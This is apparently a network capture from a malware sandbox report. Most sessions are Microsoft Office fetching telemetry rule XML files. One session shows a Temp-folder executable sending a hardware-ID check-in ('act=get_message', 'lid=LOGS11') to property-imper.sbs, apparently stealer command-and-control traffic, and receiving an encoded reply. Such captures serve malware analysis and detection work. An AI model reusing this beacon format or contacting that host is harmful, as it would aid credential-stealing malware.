2024-11-23 19:23:54 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:54 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:55 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 650b08ff-201e-0033-5b2f-3cb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192355Z-178bfbc474bv587zhC1NYCny5w00000004tg000000007dev x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:55 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:55 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:55 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 2ed5411e-701e-000d-6345-3d6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192355Z-15b8b599d88cn5thhC1TEBqxkn00000003b00000000022kf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:55 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:55 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:55 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 7bd1ae59-401e-008c-598c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192355Z-178bfbc474bw8bwphC1NYC38b400000004r0000000009unb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:55 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	49905	104.21.33.116	443	5472	C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:56 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: property-imper.sbs
2024-11-23 19:23:56 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 33 32 34 45 45 36 32 34 46 36 34 35 37 33 44 34 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=324EE624F64573D4D7CBBD6DF28D3732
2024-11-23 19:23:56 UTC	1011	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1knbcdd52frbkmao4n52b2gsj9; expires=Wed, 19-Mar-2025 13:10:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sPCxZ3PEBG8hA2qxtWegOno0ncXk7ZHCIfjFYgm8eno1qPBjE5bynnjFpIugN4OlWX08nzT1jRKB%2Bn4QTnVHj88mwOVTTM75C36vIsWKn3dPbs3u6Ui%2BxMLdZacBfSOKdIcdPIE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e73895d7a1f43ca-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1681&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=990&delivery_rate=1664766&cwnd=223&unsent_bytes=0&cid=bc9180b256fdcbf6&ts=625&x=0"
2024-11-23 19:23:56 UTC	214	IN	Data Raw: 64 30 0d 0a 52 53 77 35 79 34 35 34 6c 79 67 7a 72 50 59 30 37 6c 56 6b 6f 49 50 38 4d 6f 34 6e 6d 67 52 6b 44 50 2b 37 48 6a 45 48 30 67 6f 65 56 78 75 2b 72 45 4b 31 51 45 66 59 68 67 36 79 65 6a 69 50 73 73 51 48 6f 42 57 72 4d 55 6f 39 7a 6f 67 77 41 44 47 4f 4a 53 70 4b 58 35 65 68 48 50 4a 4f 48 63 6d 4f 55 63 78 35 52 73 62 33 33 67 69 2b 43 37 68 68 52 6a 62 4f 78 6a 4a 4b 4a 61 63 6f 66 77 35 52 76 2f 6f 49 72 58 51 63 38 4e 6b 46 31 6d 42 4b 6b 72 4c 4a 48 4c 38 57 71 53 70 56 4f 71 4f 55 62 55 56 69 73 32 63 5a 41 30 75 71 34 42 7a 34 52 52 33 4a 6a 6c 48 4d 65 55 62 47 39 39 34 49 76 67 75 34 59 55 59 32 7a 38 5a 44 0d 0a Data Ascii: d0RSw5y454lygzrPY07lVkoIP8Mo4nmgRkDP+7HjEH0goeVxu+rEK1QEfYhg6yejiPssQHoBWrMUo9zogwADGOJSpKX5ehHPJOHcmOUcx5Rsb33gi+C7hhRjbOxjJKJacofw5Rv/oIrXQc8NkF1mBKkrLJHL8WqSpVOqOUbUVis2cZA0uq4Bz4RR3JjlHMeUbG994Ivgu4YUY2z8ZD
2024-11-23 19:23:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:56 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:56 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: bac9dc3c-701e-005c-2f49-3cbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192356Z-15b8b599d88wn9hhhC1TEBry0g000000039g00000000p2d1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:56 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:56 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:56 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 1a99a412-f01e-0099-613c-3c9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192356Z-174c587ffdfdwxdvhC1TEB1c4n00000003b0000000006ape x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:56 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:57 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:57 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: fdb50a35-301e-005d-1e2f-3ce448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192357Z-178bfbc474bxkclvhC1NYC69g400000004tg00000000d2s9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:57 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:57 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:57 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: bfe6e8fa-201e-006e-3f8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192357Z-174c587ffdf6b487hC1TEBydsn00000003bg000000004v38 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:57 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:57 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:57 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: f4510472-001e-00ad-7b56-3d554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192357Z-15b8b599d886w4hzhC1TEBb4ug000000039g00000000nmvw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:57 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:58 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:59 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:58 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 270c2d5d-601e-00ab-2f8c-3a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192358Z-174c587ffdfcj798hC1TEB9bq400000003fg00000000fcpx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:59 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:58 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:59 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:59 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 95a88f05-701e-001e-7f87-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192359Z-15b8b599d889fz52hC1TEB59as00000003bg000000008bzy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
